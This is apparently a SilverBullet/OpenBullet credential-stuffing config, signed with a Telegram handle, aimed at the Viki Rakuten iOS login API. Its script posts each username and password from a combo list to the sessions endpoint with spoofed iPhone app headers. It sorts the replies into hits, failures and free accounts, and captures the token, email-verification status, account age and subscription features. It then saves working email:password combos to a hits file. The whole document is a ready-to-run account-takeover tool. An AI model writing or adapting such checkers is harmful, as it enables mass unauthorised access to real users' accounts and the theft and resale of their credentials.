[SETTINGS]
{
  "Name": "Viki Rakuten iOS API",
  "SuggestedBots": 1,
  "MaxCPM": 0,
  "LastModified": "2022-05-15T14:27:14.7073821-05:00",
  "AdditionalInfo": "",
  "RequiredPlugins": [],
  "Author": "✯ 𝕄𝕣. 𝕏 ✯ [  @𝕋𝕙𝕖𝕄𝕣𝕏𝕤 𝕖𝕟 𝕥𝕖𝕝𝕖𝕘𝕣𝕒𝕞 ]",
  "Version": "1.1.2 [SB]",
  "SaveEmptyCaptures": false,
  "ContinueOnCustom": false,
  "SaveHitsToTextFile": false,
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": false,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "BanProxyAfterGoodStatus": false,
  "BanLoopEvasionOverride": -1,
  "EncodeData": false,
  "AllowedWordlist1": "",
  "AllowedWordlist2": "",
  "DataRules": [],
  "CustomInputs": [],
  "CaptchaUrl": "",
  "IsBase64": false,
  "FilterList": [],
  "EvaluateMathOCR": false,
  "SecurityProtocol": 0,
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "QuitOnBanRetry": false,
  "AcceptInsecureCertificates": true,
  "DisableNotifications": false,
  "DisableImageLoading": false,
  "DefaultProfileDirectory": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": "",
  "Title": "Viki Rakuten iOS API",
  "IconPath": "Icon\\svbfile.ico",
  "LicenseSource": null,
  "Message": null,
  "MessageColor": "#FFFFFFFF",
  "HitInfoFormat": "[{hit.Type}][{hit.Proxy}] {hit.Data} - [{hit.CapturedString}]",
  "AuthorColor": "#FFFFB266",
  "WordlistColor": "#FFB5C2E1",
  "BotsColor": "#FFA8FFFF",
  "CustomInputColor": "#FFD6C7C7",
  "CPMColor": "#FFFFFFFF",
  "ProgressColor": "#FFAD93E3",
  "HitsColor": "#FF66FF66",
  "CustomColor": "#FFFFB266",
  "ToCheckColor": "#FF7FFFD4",
  "FailsColor": "#FFFF3333",
  "RetriesColor": "#FFFFFF99",
  "OcrRateColor": "#FF4698FD",
  "ProxiesColor": "#FFFFFFFF"
}

[SCRIPT]
FUNCTION Length "{\"username\":\"<USER>\",\"password\":\"<PASS>\"}" -> VAR "len" 

FUNCTION CurrentUnixTime -> VAR "time" 

FUNCTION Hash SHA1 "<time>" -> VAR "hash" 

REQUEST POST "https://api.viki.io/v5/sessions.json?app=100004a" 
  CONTENT "{\"username\":\"<USER>\",\"password\":\"<PASS>\"}" 
  CONTENTTYPE "application/json" 
  HEADER "accept: */*" 
  HEADER "accept-encoding: gzip, deflate, br" 
  HEADER "accept-language: en-us" 
  HEADER "content-length: <len>" 
  HEADER "signature: <hash>" 
  HEADER "timestamp: <time>" 
  HEADER "user-agent: Viki/1645414910 CFNetwork/1220.1 Darwin/20.3.0" 
  HEADER "x-viki-app-ver: 22.2.0.1645414910" 
  HEADER "x-viki-as-id: 100004a-1646594174-4875" 
  HEADER "x-viki-carrier: " 
  HEADER "x-viki-connection-type: WIFI" 
  HEADER "x-viki-device-id: 115528195d" 
  HEADER "x-viki-device-model: iPhone13,3" 
  HEADER "x-viki-device-os-ver: 14.4" 
  HEADER "x-viki-manufacturer: apple" 
  HEADER "app: 100004a" 

KEYCHECK 
  KEYCHAIN Failure OR 
    KEY "Invalid username or password" 
  KEYCHAIN Success OR 
    KEY "token" 
  KEYCHAIN Custom "FREE" OR 
    KEY "\"subscriber\":false," 

PARSE "<SOURCE>" JSON "token" -> VAR "token" 

PARSE "<SOURCE>" JSON "email_verified" -> VAR "email" 

FUNCTION Translate 
  KEY "True" VALUE "Verificado" 
  KEY "False" VALUE "Sin verificar" 
  "<email>" -> CAP "Correo verificado" 

PARSE "<SOURCE>" JSON "username" CreateEmpty=FALSE -> CAP "Username" 

PARSE "<SOURCE>" LR "\"created_at\":\"" "T" -> VAR "d" 

FUNCTION GetRemainingDay "<d>" -> VAR "da" 

FUNCTION Compute "(<da>)*(-1)" -> VAR "dad" 

FUNCTION Constant "<dad> dias" -> CAP "Edad de la cuenta" 

PARSE "<SOURCE>" LR "\"features\":[\"" "\"],\"" -> VAR "features" 

FUNCTION Replace "\",\"" " - " "<features>" -> CAP "Caracteristicas" 

UTILITY File "Hits\\Viki_Rakuten\\viki_rakuten.txt" AppendLines "      ◄ Viki Rakuten HIT ► \\n* Email: <USER>\\n* Pass: <PASS>\\n* Username: <Username>\\n* Combo: <USER>:<PASS>\\n* Correo verificado: <Correo verificado>\\n* Edad de la cuenta: <Edad de la cuenta>\\n* Caracteristivas: <Caracteristicas>\\n===========================================" -> VAR "save" 

